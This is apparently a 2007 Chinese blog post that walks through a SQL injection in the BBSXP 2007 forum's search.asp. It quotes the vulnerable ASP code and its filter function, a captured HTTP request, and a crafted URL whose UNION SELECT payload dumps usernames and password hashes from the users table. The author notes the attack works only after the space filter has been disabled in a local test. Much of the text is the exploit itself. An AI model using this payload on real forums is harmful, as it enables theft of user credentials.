BBSXP 2007的初探
首先感谢sobiny。最近B.C.T的朋友似乎发布了很多BBSXP2007的漏洞。我今天在官方下了一个BBSXP2007的最新版本(发布日期:2007年7月7日发布)。大致看了一下,在一种极端的情况下,说明一下漏洞的利用方法。
举例说明,search.asp,我们看如下代码:
<!-- #include file="Setup.asp" --><%
HtmlTop
ForumID=RequestInt("ForumID")
DateComparer=RequestInt("DateComparer")
if Request("menu")="Result" then
Keywords=HTMLEncode(Request("Keywords"))
SortBy=HTMLEncode(Request("SortBy"))
Item=HTMLEncode(Request("Item"))
if Keywords="" then error("您没有输入任何查询条件!")
if Request("VerifyCode")<>Session("VerifyCode") or Session("VerifyCode")="" then error("验证码错误!")
SQLSearch="IsApproved=1 and IsDel=0 and "&Item&" like '%"&Keywords&"%' "
if DateComparer > 0 then SQLSearch=SQLSearch&" and PostTime>"&SqlNowString&"-"&DateComparer&" "
if ForumID > 0 then SQLSearch=SQLSearch&" and ForumID="&ForumID&" "
sql="select * from [BBSXP_Threads] where "&SQLSearch&" order by ThreadID "&SortBy&""
Rs.Open sql,Conn,1
我们找到BBSXP_Class.asp,找到如下代码:
Function HTMLEncode(fString)
fString=Trim(fString)
fString=Replace(fString,CHR(9),"")
fString=Replace(fString,CHR(13),"")
fString=Replace(fString,CHR(22),"")
fString=Replace(fString,CHR(38),"&") '“&”
fString=Replace(fString,CHR(32)," ") '“ ”
fString=Replace(fString,CHR(34),""") '“"”
fString=Replace(fString,CHR(39),"'") '“'”
fString=Replace(fString,CHR(60),"<") '“<”
fString=Replace(fString,CHR(62),">") '“>”
fString=Replace(fString,CHR(92),"\") '“\”
fString=Replace(fString,CHR(45)&CHR(45),"--") '“--”
fString=Replace(fString,CHR(59),";") '“;”
fString=Replace(fString,CHR(10),"<br>")
fString=ReplaceText(fString,"([])([a-z0-9]*);","$1$2;")
if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*"))
if IsSqlDataBase=0 then '过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi
fString=escape(fString)
fString=ReplaceText(fString,"%u30([A-F][0-F])","0$1;")
fString=unescape(fString)
end if
HTMLEncode=fString
End Function
前面我们说,在一种极端的情况下,其实这里我们要测试要做如下手脚,把htmlencode的第六行注释掉:
'fString=Replace(fString,CHR(32)," ") '“ ”
然后我们来利用,在论坛注册一个Ivory的用户,然后发一张帖子,如图一:
然后点“搜索”,搜索一下刚才的帖子。如图二:
这时候进行抓包。抓包后的结果:
POST /bbsxp/Search.asp?menu=Result HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.1.106/bbsxp/Search.asp?ForumID=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 192.168.1.106
Content-Length: 79
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ForumNameList=%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D1%27%3E111%3C/option%3E; Themes=default; ASPSESSIONIDQCSBDDCT=HMIHPBPADLHDJPLCKOHKJBMM; Invisible=0; UserID=2; Userpass=7C4A8D09CA3762AF61E59520943DC26494F8941B
Keywords=test&Item=Topic&DateComparer=365&SortBy=Desc&ForumID=1&VerifyCode=9915
好了,这时候,我们就可以自行构造了:
比如我构造如下语句:
http://192.168.1.106/bbsxp/Search.asp?menu=Result&Keywords=test&Item=Topic&DateComparer=365&SortBy=Desc%20union%20select%201,1,1,1,userpass,username,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20[bbsxp_users]%20order%20by%20ThreadID&ForumID=1&VerifyCode=9915
就会出现如图三的效果:
相信大家看的很明显了,立刻暴出了用户名和相对应的密码。当然大家可以自行构造自己想要的语句,这里有两个问题没有解决:
一个就是BBSXP的40位加密问题、另外一个就是我说的是在极端条件下的注入方法,具体怎么饶过这个CHR(32)还在研究中,不知道是头脑发热还是没睡醒,既然BCT发布出来了,就一定有他的理由。
2007-7-9